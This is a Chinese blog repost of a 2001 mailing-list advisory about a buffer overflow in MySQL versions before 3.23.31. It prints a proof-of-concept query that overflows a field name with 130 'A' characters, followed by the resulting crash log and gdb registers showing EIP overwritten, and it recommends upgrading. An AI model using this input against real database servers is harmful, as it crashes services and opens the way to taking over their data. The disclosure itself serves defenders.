MySQL3.23.31之前版本的安全漏洞

sunshine技术博客 sunshine技术博客

所有小于 3.23.31 版本的 MySQL 都存在一个缓冲溢出漏洞导致MySQL 崩溃。使攻击者获得 mysqld 权限,而可以操纵所有数据库。攻击的前提是必须有一个合法的登录名和口令。

下面为最初发表于 MySQL 邮件列表的信件摘要。
==================================================
漏洞是由Jo?o Gouveia 于1月12日发现的:

步骤:

在第一个终端上启动 mysql:

spike:/var/mysql # /sbin/init.d/mysql start

在另外一个终端上输入:

jroberto@spike:~ > mysql -p -e ’select a.’`perl -e’printf("A"x130)’`’.b’

Enter password:

(没有反应?按^C退出)

在第一台终端上会显示:

  1. spike:/var/mysql#/usr/bin/safe_mysqld:line149:15557Segmentationfault
  2. nohup
  3. $ledir/mysqld--basedir=$MY_BASEDIR_VERSION--datadir=$DATADIR--skip-lockin
  4. g"$@">>$err_log2>&1>
  5. Numberofprocessesrunningnow:0
  6. mysqldrestartedonFriJan1207:10:54WET2001
  7. mysqlddaemonended

使用 gdb 显示结果如下:

  1. (gdb)run
  2. Startingprogram:/usr/sbin/mysqld
  3. [NewThread16897(managerthread)]
  4. [NewThread16891(initialthread)]
  5. [NewThread16898]
  6. /usr/sbin/mysqld:readyforconnections
  7. [NewThread16916]
  8. [SwitchingtoThread16916]
  9. ProgramreceivedsignalSIGSEGV,Segmentationfault.
  10. 0x41414141in??()
  11. (gdb)infoall-registers
  12. eax0x11
  13. ecx0x68104
  14. edx0x8166947135686471
  15. ebx0x414141411094795585
  16. esp0xbf5ff4080xbf5ff408
  17. ebp0x414141410x41414141
  18. esi0x414141411094795585
  19. edi0x00
  20. eip0x414141410x41414141
  21. eflags0x1024666118
  22. cs0x2335
  23. ss0x2b43
  24. ds0x2b43
  25. es0x2b43
  26. fs0x00
  27. gs0x00

其中的 eip 指示就是缓冲溢出了。

解决办法就是升级到 3.23.31。所以,各位如果还没有把数据库升级到最新版本,请赶快行动。

相关广告
  • MySQL3.23.31之前版本的安全漏洞 MySQL3.23.31之前版本的安全漏洞 MySQL3.23.31之前版本的安全漏洞
相关阅读

MySQL3.23.31之前版本的安全漏洞

2019/10/10 17:38:11 | 谷歌SEO算法 | SEO技术